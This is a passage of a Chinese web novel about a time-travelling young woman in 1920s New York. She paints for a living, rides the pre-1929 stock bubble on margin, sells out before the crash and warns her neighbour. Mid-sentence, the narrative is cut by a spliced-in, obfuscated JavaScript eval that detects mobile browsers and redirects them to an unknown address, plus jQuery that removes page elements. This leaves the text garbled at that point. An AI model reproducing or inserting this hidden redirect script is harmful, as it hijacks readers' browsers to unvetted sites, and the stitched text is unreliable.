对哦!股票。一年后的华尔街将成为大战的导火索。如果连擦鞋匠都能给华尔街之狼推荐股票,那么这个股市也不用继续呆下去了。但现在股票还在疯涨。 她走出典当铺,看着不远处的大通银行,想了下还是走进去,先去下底楼的女士化妆间,出来后用一堆“不知名小国”金币,换来八倍杠杆的股票交易员代理的她还记得的几家公司的股票——不是不想多买,而是记忆里能叫出名字的好股票不多。 顺便的,交易员被她强势肯定的态度搞得乖乖照办。 感谢女性有了投票权和读大学的权利,不然她一身长裙加大衣,根本不能踏入交易所。 走下地铁站,几站就到名为大饭店实为酒店式公寓的大楼。 上到地面,不远,就是目的地。 “请问还有油画工作室出租吗?” “有的,科洛什小姐。还有每周35、40和60三种工作室。” “35的工作室月租多少?” “哦哦,您是住客,按月的话,110。” “好,我的房间续租三个月,请按月租金,加上三个月的工作室。”她的房间周租金10块,非常小,床是一米的单人床,桌椅都是单个,梳妆台才40厘米宽。但除了厨房其他功能齐全,还有收音机和蒸汽取暖。 另外,她的身份文件其实是姐姐的。全家从苏格兰移民来的时候,姐姐在船上病亡,叔叔提议让她这个妹妹“大两岁好找工作”,也因此最终避免在父亲过世后被叔婶以监护人的身份卖掉,还能拿了所有的钱跑出来上培训班找工作。至于她哥,早在母亲过世后就去舅舅家的牧场再也没回来过。 对了,她的苏格兰口音现在也一键替换成纽约口音。 就是因为从小干活而显得比真实年龄大好几岁,出门没人认为她还不到十六。 看着镜子里的脸蛋,苏茜叹气。经历战争真的很疲倦。这次虽然碰上大萧条,可好歹有牛肉和牛奶吃,冬天也不需要靠海带海藻过日子。另外,庆幸吧,欧洲和亚洲的血腥大战打不到她头上,自己也活不到911……除了需要耗费“一点”积蓄,可以和平地过一世。 * * * “再贴现率从4%降到3.5%……公债可以自由交易……嘿,你们贷款了吗?” “当然!这么低的利息,拿来钱生钱不好吗?” 午后的大会客厅里,大学毕业的男士们获准在这里讲解时髦话题,“亲切”地与“学员”们互动。可苏茜不认为艺术系的课程里有股票走势。这个时代,可能只有少数比如凯恩斯了解世界为什么需要经济专业——哦对了,这位宏观经济大佬好像跟费希尔一样唱多而非看空,所以仍然没用。并不是数学和经济学硕士博士的就能不破产,他们可能还不如一些政客看得透彻。 前面的人讲了一大堆贸易与金融,以及不负责任的生产流水线理论。下一位将讲解传奇飞行英雄林伯格和那架飞跃大西洋的飞机。苏茜趁着大家尤其是女士们鼓掌的时候尿遁。 在听到飞机通信的时候,她突然想起来一个“传奇领涨”的股票,所以下午又去了趟交易所,将余下大部分的钱加十倍杠杆用来买无线电公司的股票。 “这支股票……好吧,如果你坚持。” “是的,我坚持。而且打算比较长时间持有。”她旁听的金融课,有一次教授将这段时间做空的大佬就是做这支股。她“仅有”的一千多块都扔进去了,不到大规模做空的时候坚决不抛。不过如果不卖掉些股票,这个月的颜料用完都没钱买了。“不过这支,对,你还记得吗?我贷款了一千六,帮我卖了,存进银行。” “好的。” 交易员看了下价格,很好,涨了一块多,去掉佣金、杠杆利息和手续费,他的客户净赚起码三百,是他这个级别一年的基本工资。 接着赶在下班前搞定还款和买新的支票簿,再赶在电器行关门前买了一个“高达”两百块的电烤箱。 烤箱很沉很大,她不得不打了辆出租车,把烤箱连包装箱搬回画室。 10块的房间里根本放不下电烤箱这样的“大件”,所以连同虹吸式咖啡壶和茶壶茶杯都放进了租金贵得多的画室。 画室面积只比房间大一半左右,但层高很高、装修舒适,有三个现成的大小不同的画架和几个能放很多颜料的高几,有个小小的退台,还有模特的空间,但那里现在被苏茜放了一块地毯和一个冰箱。 冰箱和烤箱都很“原始”,一个没有冷冻,一个没有调温。 “总算是科技生活,不是吗?”苏茜对来访的杰伊道。 “是的,不过,你这个咖啡壶需要加热吗?”可是没有电源插头啊! “用酒精灯。”苏茜微笑着开始从磨咖啡豆开始。慢条斯理地花了十几分钟弄好两杯牛奶咖啡,一杯加两颗方糖,一杯不加。 “谢谢!你这里真有生活气息。”杰伊边听新闻边道谢。两个人的画风完全不同,一个是古典,一个是印象,所以杰伊只是看了她的未完成作品几眼。 “因为我经常错过餐厅营业时间,而且楼下没有我喜欢的无糖饼干。”碳水、果糖、蔗糖,龋齿的主要原因。种植牙和根管治疗技术还有好几十年呢,在此之前只有拔牙和上瘾止痛药。在没有抗生素的年代,拔牙风险很高。 “我发现你很少吃甜点。” “甜点会导致蛀牙,蛀牙严重的时候会持续牙疼,而腐烂的食物卡在齿缝里会引起肿痛。” 杰伊顿住。她,有时会牙痛!“我也牙疼,会不会是严重蛀牙?” “如果经常吃酸、冷、甜的食物时疼痛,很可能就是。” “天哪!我不想拔牙,会让脸变形的。”嗜甜的杰伊才二十一岁,还没找到人结婚,一点不想因为拔牙而让漂亮的脸蛋变丑。 “拔牙有高烧甚至死亡的风险。你吃过甜点、水果以及主食以后一定要漱口,最好是不加糖不加奶不加任何东西的浓茶水漱口。” “那不是很难喝?哦,我本来就不喝茶。” “可以漱口后吐掉啊。但记得不要在吃水果、柠檬水和牛奶咖啡后立刻刷牙,会损伤牙釉质,让牙齿更疼。” “上帝!”杰伊简直想哭。她,真的干过这样的蠢事。 “反正吃喝有味道、有颜色的食物饮品之后用清水漱口半分钟再吐掉,这总能做到吧。” “哦……”听上去不是很难。 “其实最好是用漱口水。不过我估计你不喜欢这么刺激的味道。”苏茜拿出李斯德林。她有好几百年没有用过这样有技术含量的东西了,连价格都不看直接买买买。 “确实不喜欢。”她就试过一次,结果以为过于不习惯而不小心吞下去了……于是就没有然后了。 这妹子除了甜,什么味道都不太喜欢。 之后杰伊就来往地少了。 苏茜这个不爱派对、不爱短裙、不爱男人还自制无糖甜点、吃完立刻用诡异漱口水的奇怪家伙,开始在这栋大楼里传出“怪人”的名声。 今天的一千米游泳任务达成。苏茜一身保守泳衣从泳池里出来,洗头洗澡。这个公寓楼里的女士就没有像她这样游那么久、狠命锻炼的。大家宁愿去练舞来保持身材,或是穿戴得美美地去郊外打高尔夫——她们的衣饰很可能是分期付款买的,甚至是分期买二手。尽管不能独立办百货公司的信用卡,但女性确实是消费主力。 “部长今天都提到了这几支股票……”苏茜目不斜视地穿过去,回五楼的小单间,再回岛上。 收藏的物品里的大部分东西都不行了,包括自制武.器之类也开始生锈。所以她一个个看、一个个分类。 小件的垃圾用破布打包或者装进变质的酒坛腌菜坛、废弃的种植箱,一批批转移到画室,然后回岛去垃圾海滩,再将垃圾带回岛扔进海,中转几趟就都清理掉了,省时省力。 稀稀落落的菜蔬牧草继续长着算是多点绿色,地下室里除了燃料全部清干净。 全岛其余物资整理的过程堪称浩大。 先是画室都无法容纳的破船。苏茜傍晚去纽约的海岸边“游览”,趁夜将一堆破船一艘艘转移出来,再一条条扔到自家垃圾海滩附近沉掉。 接着锁上房门,陆陆续续花了俩月的时间才重新调整收纳好收藏品。 相同时代的货币写个年代国别的纸条打一个破布包,修士时代的金元铁钱、法师时代的库德金币,除了少数直接收藏,与其他发黑的非古董银制品堆在一起待熔炼——一座小小的金山,实在打不了包,收纳的箱子、纺织品、和大量用品比如铜油灯、变形的古代蜡烛、生锈的炭炉等等全成了垃圾得通过画室中转扔掉。 金器瓷器武器等单独堆在避雨的地方,贵重物品比如珍贵礼物、几颗剩下的魔力宝石、保卫战勋章等则先放在石屋中的桌子上。 山洞整个都打扫清理一遍。 然后她抽空去租了个小仓库,最少租期一个月,收货一批铁柜和木箱、油漆、建材、工具、梯子、家具、家居、布料、食材、煤炭、硬木等等等等,放到岛上作为收纳物。 过滤淡水的滤材前几天刚换了一批——感谢这里是纽约,可以找到最新技术和材料,比伦敦还强些。 渔船渔网和各种渔具是下一步要做的,炊具、储存物资等等都要买新的,但走道顶棚有些麻烦,要拆了重新装,光顶棚就是三天的工作量。 同时还要盯着股市。 等自家小岛整体焕新,但还没有考虑种菜物品时,时间都过去好几个月了。 对股市的狂热开始有了更多、更强烈的不同声音。 最直接的表现就是加利息。 苏茜做完最后一点冲水厕的修理,错过了餐厅的中午简餐供应,现在只有又贵又齁的甜点——正经下午茶时间,大家却是喝咖啡的比较多。她也不想浪费钱,将昨天放冰箱的几样蔬菜切成丁,鸡蛋面粉橄榄油配合自制的苹果发酵液,做低盐低脂低胆固醇的咸味蔬菜馅饼,制作过程都在岛上,只有最后出来用电烤箱。 馅饼虽不算美味但健康,再来一杯无糖红茶咖啡鸳鸯拿铁,成本比去餐厅低七成,明智的选择! 今晚早点睡吧。 第二天一早,平时不太出门的苏茜难得走着去公园里的那座教堂,旁观活动。路过一家汽车销售店,关门了。不是还没营业,就是关门,停止营业。她立刻调转方向,搭地铁去了交易所,急急忙忙将仍然有上涨趋势的两支汽车股票卖掉。 这两支同样有贷款,不过差价不少足以抵消费用还净赚了大几百。交易员认为这就是没见识的女人干得出来的事,不过没有放在嘴巴上,因为她又将所有自有资金继续买入无线电公司的股票——这支股已经涨到六十块。她打算是三个月内卖掉,之后坐等暴跌。 【目前,股票的价格已经远远超过了预期状态,股市正以一种很不理性的状态下运行着,而且谁也不知道,我们需要花费多大的力气才能把现在的股市调整到它的正常状态。】 著名评论师的反对意见还是会出现在报纸上,但在没人关注的第三版,甚至同一版面还有抨击他的文章,认为还将继续上涨。 苏茜决定不再浪费时间看报纸。 冬季暖气房间的室温挺舒服,不炎热也不干燥,两块钱的润肤霜加上口红就能勉强会客。 苏茜在工作室里穿着不好看但舒适的夹棉家居长袍,外面是最便宜的棉布罩衫,窗户稍微打开,让室内外的空气流通顺便散去颜料气味。这段时间她不参与任何娱乐活动和聚会,也很少出门,都是家居长裙配薄大衣,去餐厅里点两份鸡肉蔬菜沙拉和煎面包片带走——还是自带两只大碗装了食物走楼梯回房间的那种,让见多识广的餐厅都忍不住眨眼。 不过,她拿的碗好像是不便宜的中国瓷器? 那是明瓷器,就是数量太多还卖不出价,只能收藏。苏茜给食物加个热就吃,吃完继续画。 差不多的角度,湖边窗外,春夏秋冬。她非常反常规地先画外面景色、屋内布置,最后才是人物。四个不同的状态、动作,甚至面容也有些微不同,形成一个东方美人在一整年中变化。不过其中是很多差错的,比如这位女士结婚了却还是出现在同一个背景中,比如她的服装发型首饰风格有些混搭甚至有几处明显有外族的痕迹。 春雨中的阅读,夏日里的抚琴,秋天午后小憩,冬夜烤火吃茶。书页刻意地只有印刷花纹和插图的一角而没有标题文字的明清风,古琴是七弦魏晋风,茶饮却有明显的唐宋习惯。与东方写意画作截然不同的是丰润的脸庞、精致的妆容、华美的首饰和优美的身材。 充满想象力的饰品是四幅画的灵魂,苏茜构思了一个多月。 “……真惊人!”住在公寓里的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187019|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艺术品经纪人也算是阅画无数,却第一次看到这种风格题材。 好几位不同画派的同行包括杰伊也说不出诋毁的话,因为这四幅一套的画特征太明显,跟她们每一个都不重复,何况她们也不想为了东方风情画去做太多低效的功课。 “你介意我在一些小型画展中展示她们吗?” “当然不!画家需要颜料费不是吗?” “哦,我明白!”不讲钱但是需要钱,就是这样。难怪这位小姐住在最便宜的单间里,甚至还曾经做过一段时间秘书工作,画室的租金和不便宜的颜料都是不小的经济压力,如果没有两千以上的年金很难维持基本生活。 经纪人在心里迅速给这一套四幅画定了个最低价位和一个中间价位,然后盘算展示的场合与自己的佣金条款。 苏茜没管价格问题。她现在还有三支有贷款的股票,打算观望一下就卖掉,还清堪比高利贷的利息。其他的自有资金大部分都买了无线电公司的股票,余下的交了新一季的租金,真是连买衣服的钱都没了。 她也不需要。 搞定了卖画的事宜,苏茜其实并不是多介意卖多少钱,只是在盘算要交多少个税。单身似乎是一千五以上的应税收入,累进制下如果超过五万的利得需要交多少税呢,十万以上多少呢? “洗衣机真是好用!”小客厅里一位有些年纪的女客坐下后就赞叹。她没那么多钱干洗,全部是水洗后晾在房间里。 “是啊!”苏茜也点头。床单被套外袍都属于大件,要每周送洗的话费用不低,而且仍然晒不到阳光,那还是自己来洗衣房洗,拿回画室再晾在岛上最划算。谁让现在还没有滴露呢! 圣诞大餐又贵又不好吃,甜点太甜腻,牛肉半生不熟,鱼腥味很重,据说“非常昂贵”的海鲜煎得外焦里生,螃蟹龙虾更是不存在。好在苏茜一早就研究过菜品,在看到半熟牛排后迅速放弃吃现成的,回岛自己煮海鲜意大利通心粉吃。 现在这个时间生鲜店面包店全关门了,便宜餐厅也过时间了,昂贵餐厅可能也满座。苏茜不得不早早睡觉。第二天一早出来找吃的,成为餐厅里第一个来等早餐的人。 “小姐,还有一个小时才开餐,您看……” “没事,请给我昨天的面包,带回去吃。” “……好的,小姐。”女服务生也是第一个来的,连裙子都没有换好就匆匆忙忙来打发这位客人。 最后苏茜给了两个硬币的小费,拿走两个过夜小面包,没给面包钱,因为不在菜单上。 以后还是尽量自己做饭吧,起码能做出来炖得软烂入味的西红柿牛腩。 下雪了。 是个穿皮草的好日子。但裙子加皮草,还是冷的! 苏茜穿了少有人穿的皮靴,在附近开业的生鲜店里买了6磅的熟菜水果——感谢玻璃大棚技术——以及5磅的肉类和乳制品。一个穿毛皮大衣,拎着三个大布袋来买菜的年轻女士,在这圣诞刚过的季节出现在生鲜店,真的有点奇怪。 “你们节前没有买菜吗?”一位二十多岁的女士忍不住问道。 “我以为圣诞大餐可以吃三天,结果……”苏茜摇摇头,“我这几天都没吃饱!哦,别看这身大衣,迈阿密房子被毁差点破产的女士的二手货。太冷了,我只有大衣,没有棉衣。只能穿三层衣服再穿这个。” “哦!我以为你也是工厂关门的秘书。” “我之前工作的工厂确实关门了,不过我找到了一份新工作。”一套四幅作品在第二次展示的时候就卖掉了,“仅仅”九百多块——这个是净收入,去掉佣金和税。 一回去,苏茜就告知管理员,画室和单间都不租了,换一间带阳台小套房,季度租金比两间房间便宜,就是面积加起来没那么大。 * * * 图书室里,苏茜一边翻书找灵感,一边对新的“同层邻居”道:“……我知道,我没有名气,所以画作卖不出什么价格,对我来说租画室太贵了。” “我爸爸的工厂关闭了,所以我退掉了音乐室。家里让我早点结婚,不过我还在犹豫。” “我建议你明年底再考虑。我觉得股市不对劲,一旦价格下跌,贷款炒股的人就会立刻破产。”“啊?!” “我假期前就卖掉了两支贷款买的股票,赚的钱正好用来交税。”谁让利得的金额超过四千。 “交税?”她和母亲从没接触过。 “对,没钱请会计师。我自己做。”虽然比几十年前的英国复杂,但比几十年后简单!甚至因为是单身女性,收入来源单一,税务官看得非常潦草就确认了。 去年一年以来的事情都做完了。 就等着看股市了。 【股市交易目前正进入再度调整阶段,在股市中期,股价不可避免地要向下滑,但是应该不会造成大幅度的跌落,也不会因此而演变成股市的大萧条】 苏茜终于见到了一点吹哨的意思。但今年上半年仍然是以上升为主的。 胡佛部长参加大选的消息让股市又涨了一波,尤其是汽车股。苏茜的汽车股去年就卖掉了。但现在她的自有资金大部分都在涨幅和价格一点不差的无线电公司,也是唯一一个还欠了贷款的股票。交易员一点不会给更多的建议——说多了就是一句,就怕像XXX一样跌下来。3月虽然大部分股票乱涨,但之前有不少股票曾经下跌导致有股民因为交不出保证金和利息而破产,因此交易员先生也不敢说哪个股肯定能赚大钱。 “苏茜,你买了什么股票?”安娜是少数还会跟出房门不为交际只是买菜卖画的苏茜打交道的“邻居”,就是安娜在大套房,房租比苏茜多一半。 “无线电公司。”苏茜实话实说。 “哇!最近涨得很多!我的交易员建议我买入。我就,也买了些。居然一周就涨了18块钱!” 有碎嘴的女人说,二十四岁的安娜是个有钱寡妇。不过这跟苏茜无关。 “你觉得一周就涨二十块,一年翻几倍,正常吗?” “什么?”安娜十分茫然。 “股票是股东的凭证。但如果公司赚不了那么多钱,那么股票的价格都是虚幻的。” “什么……” “我没有见到这家公司在纽约新招聘大学毕业的工程师,所以我认为今年他们的业务不会扩大,利润自然也不会高多少,所以我打算近期卖掉这家公司的股票,以及其他所有的股票,一个不留!具体时间要看价格。” “啊……” “虚幻的东西一定会回归现实。为了避免破产,我一定会尽快卖掉所有股票。”苏茜再次强调。 没几天,会来图书室的人都知道了有傻妞要把股票都卖掉。大家有的想问明白什么叫利润,有的想热情辩论。但苏茜连续一个月,只出大楼四次买菜,连餐厅都是自带一个小陶锅来带走——陶锅已经成为苏茜的标志,因为可以直接放进冰箱或是电烤箱。另外,她还会一个人在清晨或傍晚像个神经病那样游泳一千米后走人,连图书室和大会客厅“讲座”甚至一楼的音乐表演都不去了。 直到夏季,她才重新出现。这时连安娜都不去问她股票的事情了,因为她们已经就利润之类的概念问了哈佛的硕士。 瞧,没点本事是进不了大会客厅的。 55.大饭店不大(二) “亲爱的,有好几位客人都很喜欢你最新的那两幅风景画,最后我们组织了一个小小的拍卖,你的画被一位太太和一位先生分别买走了。”虽然苏茜的画别说压轴,连热卖品都不算。不过不妨碍经纪人说好听的话。 “非常感谢!”尽管拍卖再小、佣金也比普通的售卖高,但收入不错,一千三的支票,就是税率要看今年的总收益。之前那四幅美人图真的便宜卖了,苏茜边收好支票边想着明天就去银行兑现掉,顺便买一箱颜料。 第二天,苏茜拎着颜料回来,一楼大厅里就在说买公债的人是傻瓜,股票那么赚钱,贴现率再高能高过股票涨幅吗?!看了眼人满为患的理发店,苏茜决定上楼将扎着松散辫子的头发直接咔嚓几剪刀剪断完事。哦,回岛上剪,省得有人看她扔的垃圾后嘀咕。 银行股突然大跌。连银行家都出来说股价太高了。 “幸好我昨天看到下跌就卖掉了,赚了些,但不多。”因为都是贷款,只赚了“区区”万把块,一个雇农干一辈子才能赚到这么多,但她们又不是穷得叮当响的农民! “你说我要卖掉吗?今天又跌了。”安娜喃喃道,她手里有一支银行股,不舍得卖,结果一下子跌掉四十块,让她头都晕了。 苏茜看看她。 “好吧,我先将贷款多的股票卖掉。” 苏茜耸肩。“我已经把有贷款的股票全卖了。自己的钱买的那部分也不多了。” “……好吧!我让交易员周一看到比今天收盘高,哪怕一分钱都立刻卖掉!”周六停市。 这次的“重大损失”让安娜的脑袋一下子清醒,她甚至会问交易员哪里看公司的利润以及与股票价格的比例。 两周后,连苏茜持有的无线电公司都在下跌。 “苏茜,你卖掉股票了吗?” “还有一部分。但我不建议你再买。不然别人在赚钱,你在赔钱,不是惹人笑话吗?” “哦!对!幸好我已经把贷款的还清了!”因为楼里就有一位因为贷款高于股价而破产回老家的女士。 其他几个“邻居”则看过来。“苏茜,你买的是什么股票?” “无线电公司。不过即将都卖掉了。” “然后呢?” “看好哪支股?” “永远不再买卖股票。” “……” 股价又涨了。稳步上涨,做多的手段简直不想多说。 “苏茜,我每天都惶恐。就怕真的破产。”餐厅里,安娜突然拉住苏茜道。 两个人关系没有好到去对方房间拜访。事实上,苏茜的房间面积真的不大,要么是睡觉吃饭的角落,要么都是油画工具和颜料气味,没有招待客人的地方。 不过其实如果不是苏茜一直开窗并且画完一些就拿回岛上,房间里的气味会更加感人。瞧,没钱租画室的同时还能将客人拒之门外。 “我打算将股票清空,然后再也不看股市。我建议你也这样做,因为我们可不是大富豪可以操纵股票。” “啊?股票可以被操纵?” “当然!尤其是内幕交易、提前知道消息,以及利用显示器时间差做手脚。太简单了!这些都是百万富翁的游戏。不过我倒是建议你等一等。你知道,我一直觉得不对劲,但不是立刻出问题……我准备在股价回到200以上的时候卖掉一部分,选举出来后不管如何都卖掉,全部卖掉!……我建议你在还能赚钱的时候继续卖了、付个几年房租……再谈以后……” 苏茜这个月都没跟人说过那么多话,自觉仁至义尽,接下来这位女士如何与己无关。 …… 苏茜难得地出现在读书会上。这次是德国哲学议题,她凭借一口高地口音的德语,与同样是高地口音的“讲师”聊得不错。女人们以为她是来撬墙角的,没想到聊完哲学话题,她就去楼层会客室跟另几个姑娘讨论股票去了。 “明天周一,我打算去卖掉一部分股票。” “哦,我已经都卖掉了!所有的股票。我觉得自己根本不是做大事情的料,所以也不想着进杂志社当个编辑了,就老老实实写些文章就行。”安娜笑眯眯。 “我也明天去。最近听说情况不太好,不少投资人打算卖掉,肯定会波动,我可不想破产。” “估计明天交易额很大。” “嗯,估计买的和卖的都多。” 结果说周一也要出手的姑娘没动静,因为股市又在拉升。 苏茜才懒得管听不进劝的人。 这波被央行搞出来的“挫折”被部长们和部分贷款给股民的银行们,加上做多的投机资本联手重新炒起来。 “卖掉,全部。” “女士,你确定要都卖掉?还会涨的,我保证!” “我知道还会涨,但我看中一套房产,缺流动资金。所以卖了。”这个理由是假的,但缺流动资金是真的。每个月不错的吃住要两百多块,她都已经在动用卖画的钱了。 “好的。”交易员已经首付贷款买房了,现在信心十足地将还贷款的钱先做一波短期投资。 这些新入行的股票交易员确实不靠谱。苏茜心里想着,然后踩着坡跟鞋离开。 央行再出手打压投机。银行和总.统说风景这边独好。 苏茜边看昨天的报纸,边在炭炉上煮奶茶。干玫瑰花、薄荷叶、茶叶和咖啡粉,在陶壶里翻炒加热,倒一些水煮开,再加牛奶,不加糖。加倍的咖啡因和奶酪面包的热量让人清醒过来。 围绕股市,真的是一会拉升、一会打压,一会唱多、一会做空。 暴跌的警告越来越多,不过好些经济学家仍然在说股市还有“很大的”上升空间——股民喜欢听后者,所以报纸也登得更多。 苏茜很耐心地等到天气渐热,市场也热得快要冰掉的时候,出现在交易员面前。 “全部卖掉。”这次疯狂地翻了一倍出头,必须卖掉。 “……好的,女士。” 交易员在苏茜走后,计算着她这两年来赚到的钱,然后纠结半天,将自己的股票也卖掉,提前还清房子贷款还剩下不少,足够在家乡镇上全款买个小房子,成功地避免了跳楼的命运。 苏茜将股市余额转为银行“巨款”余额,接着可以勒紧裤腰带等着大萧条了。 回来第一件事去敲安娜的门。 安娜昨天去参加杂志办的晚宴,睡到现在被叫醒。 “嘿,苏茜!抱歉抱歉,呃,我刚睡醒,请进。” “不用麻烦收拾,安娜。”苏茜关上门,做了个噤声的手势,“我刚刚卖掉所有的股票,告诉你一下。虽然还会涨,但我已经受不了了。” “哦哦!”安娜茫然了一瞬,然后突然拉住她的手,“谢谢!”只有眼前这个年轻姑娘肯告诉她自己卖掉了股票,所有的。 苏茜挥挥手,开门离开、回自己楼下的小小套房。如果不是这位的名字和深金色的半长发与死在伏尔加格勒的邻居家小姐姐一样、连长相都带些斯拉夫特征,她才不会管对方会不会破产跳楼。 安娜前段时间跟人聊的天很多、非常多,但每个人都在说一定还会涨之类,说反话的只是少数人、都是用一种看蠢蛋的目光看她和其他人然后离开,一如苏茜。她的财产真的只有继承自外祖母的那部分,除非嫁个有钱人,父母兄弟是不可能给她资助的。想了会儿,她下午跑了趟交易所,在银行关门前看到余额才放下心。 对了,要怎么报税? …… 其实股市已经崩溃了好几次。 公寓楼里终于出现破产的“案例”,其他人都恐慌地卖掉股票,一部分人割肉清仓导致财富缩水。但苏茜没有听到有哪位女士现在冲进股市继续炒。 气氛越来越奇怪。还在股市里的散户依旧非常多,这一点让人十分无语。 【股市迟早会崩】 这句话被不少媒体报道出来。由此可见很多人的大脑开始冷静。然后,抛售的数量多得收盘后还在计价。接着就开始连续大跌。 最悲惨的其实不是黑色星期四,而是交易所、华尔街和总.统都来站台之后的黑色星期二。血本无归还欠债的男人们站在交易所外,沉默地思考未来。 跳楼开始成为“潮流”。 苏茜的跳楼房间漫画由于够精致又够讽刺,投出去后居然刊登在头版,得到十块钱的“高额”稿费。这个稿费可以付其他区一间简陋单间的一个月房租,或是吃两个月的隔夜面包和土豆。 无线电公司的股票还没有降到个位数,所以得耐心等待买入时机。隔壁那间套房的租客无声无息地离开了,不知道原因也不想打听,总之暂时没人搬进去住。大会客厅的“讲座”停了一个多月,才开始谈论别的话题。 天气冷了,治安差了,好几位租客说她们被偷甚至被抢。所以苏茜再也不往棚户市场和唐人街那一带去。 天凉了,很多人要破产了啊! 路过品牌店时,她看了眼橱窗里的时髦阔腿裤,三十五块,快赶上羊绒披肩……等以后有了牛仔裤的时候一次性换新。现在这种锦纶单裤并不比丝绒长裙和羊毛袜保暖。地铁反方向去市场,买了三百多块的二手衣饰、手表、羊毛毯等东西,其中最贵的时一条羊绒披肩,二手货只要二十五块。几个转弯将东西都放岛上,然后乘地铁回公寓。 准确地说,暴跌的时候排队跳楼是假的,而滞后的经济危机破产自尽的才叫一个多。 苏茜在岛上吃完饭,回小套房睡觉。 第二天中午的餐厅,大家一边吃早午餐,一边疯传一位失恋的姑娘退房离开了。 “来来去去的年轻姑娘可真多!”安娜在一楼大厅楼上的夹层点燃了一支雪茄。 “是啊!回老家的也挺多。”苏茜看了眼,继续下楼梯。住客们破产的还真没几个,但财富缩水的大概有一半。这是不是要归功于女性投资人普遍胆子不够大?还是前段时间的暴跌并没有真的达到熄灭大家炒股热情的目的。 新年了,平民市场有一波降价清仓,她得去看看,淘些二手好东西。 元旦也过得平淡。苏茜给自己做了海鲜蔬菜焗饭,并且同时开工三幅小尺寸峡湾风景和一副正常尺寸雪山森林湖泊——在她看来可以最大限度利用颜料,就是气味真的很感人,她只能在大冬天裹着羊皮毛大袄和皮围裙的同时开着窗,画完一个阶段立刻回岛上,在石屋里的壁炉和火塘之间烤火。 岛上的冬日白天比纽约舒服不少,壁炉里的橡木和火塘里的煤块火力挺猛,让冰冷僵硬的四肢和脸蛋慢慢恢复正常。再好好炼内功,之后脱掉大袄、换上自己做的绒料长裤出去练外功。 回房间关窗,将画架移进石屋,穿着夹棉家居袍,钻进两层毛毯里,关灯睡觉。 * * * 今年一年,留出明年要交的税,加上这两年卖画合计收入的几千块,即使算入通货膨胀也能支撑自己生活大概二十年。但不能坐吃山空,要不明年在最低的时候回购无线电公司股票,还有其他自己知道的比如可口可乐、万宝路和商业机器的股票,过几年再买一批白银,还可以买些化学品将自己收藏的银砖弄得新一些一起卖掉,这样可以直到自己老去时都能靠投资维持房租了——纽约尽管气候不宜人、治安不动人,但食物供应和这栋公寓的地段那是绝对没话说,生活质量跟这个年代还要交税的农场完全不是一个档次。 当年自己在银砖里加了一张塑封的价格变化表,虽然后面已经破得看不清楚,但她经历过银元大量流失造成支付危机的时代,似乎跟现在的自家央行有关。所以白银也是个不错的投资选择。 而黄金,在金本位下还是算了。 看了下银行余额账单,苏茜回来就给公寓管理员一张支票,续租一年,租金比月租更便宜些。 现在的公寓房间是靠墙放的单人床,比更贵的套房里的窄不少,但房间总体还是舒适的。从新买来的温湿度计来看,冬季即使开一点窗,温度湿度也在可接受范围内。 苏茜一身费尔花纹毛衣和羊毛及踝裙,腿上羊毛袜,脚上细跟短靴,坐在图书室里看书。 “啊,苏茜,你还会法语?” “对,能看懂。但是,米伦达,你知道的,法文写作难度太高,我写不了。事实上英语的写作都不太行。”大楼里的文艺女青年不要太多,作家艺术家一大把,也所以她的油画水平只是中等略上,而且被个别艺术家批评为太过市场化。 “哦,你的风景画让人身临其境。”要不是嫌贵,米伦达真的会买一幅苏茜的风景画作品挂着做装饰品。她喜欢那种直白的色彩和照片般的风格,只要沉浸其中而不需要思考艺术家想表达什么以及表达的手法有多高明。 “谢谢!”可她本人更喜欢自己的人物画,可惜纽约这边的买家不欣赏,而且这里也没有欧式庄园需要摆满艺术品。 “苏茜,你终于重新出现在人群中了。”最近股市的暴跌让安娜神清气爽。 “我画画的时候喜欢一鼓作气,而且往往会需要午睡两个多小时。”尤其是每天需要锻炼 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“不,是让少数人赚个几百万、几千万。请相信我,为了将钱从普通人手里弄出来,什么事都会发生。看着吧,还会有失去理智的时刻,但那是送命的时刻。” “……” 苏茜决定回去画讽刺漫画,比如一个服务生问客人:“先生,你是要一个睡觉的房间还是跳楼的房间?” 然后再去买了刚拆股的无线电公司。 但这事只有一直负责她的交易员知道。他压根不清楚这位女士是哪里来的勇气在暴跌的时候杀进来,还都是用自有资金而拒绝便宜的杠杆。 * * * 圣诞节的气氛肃杀萧索。 苏茜买了一堆生鲜菜、肉类以及淡水鱼,甚至还跑去唐人街的华裔店铺买了几大包东西甚至包括草席。不过回来的时候手里最多是一些面包水果和熟食茶酒——当然没有无酒精啤酒以外的酒。禁酒令执行得还不错,虽然只是表面上的不错。 无酒精啤酒做鸭肉,粉丝配牛肉,再烤盘蔬菜。饭后喝一杯久违的绿茶。 接近半夜时,公寓各个楼层都是快乐的烟味,仿佛之前的股灾是假的。 整个曼哈顿跳楼的人数似乎更多了。公寓楼里竟然也跳了一个,是从观景台跳下去的。 今年的冬天挺冷的。 苏茜没有去“围观”,只是暂停了画画——画了也卖不出去——改为看书看报,其他时间全部用在地下泳池和修炼、冥想、练习大剑士和修士武技,再做做吃食,就只剩下睡觉了。生活过得无比健康充实。 新年在极为惨淡的氛围中度过。 苏茜知道,明年可能更糟。 股市又拉升了一点点,但很快又继续跳水,跳得大家都麻木了。这次,再也没人能阻止崩溃。 “谢天谢地,我们这里再没有人跳楼。”楼层客厅里一位女士将细雪茄改为便宜的卷烟。“我的咳嗽时好时坏,看来应该少抽一些烟。”也能省钱。 默默地从高楼层的套房搬到单间的人多了。苏茜没搬,因为大家都知道她及时卖掉了股票,是赚到钱的。 苏茜可能是第一波主动去交税的人,还是女性。 回公寓的路上用两个硬币买了一袋糟糕水果做发酵液。食品、棉制品的价格还涨了一点点,所以自己做吃的能便宜一半多的生活成本,最起码自己做的面包、炒菜和炖肉更加健康美味。 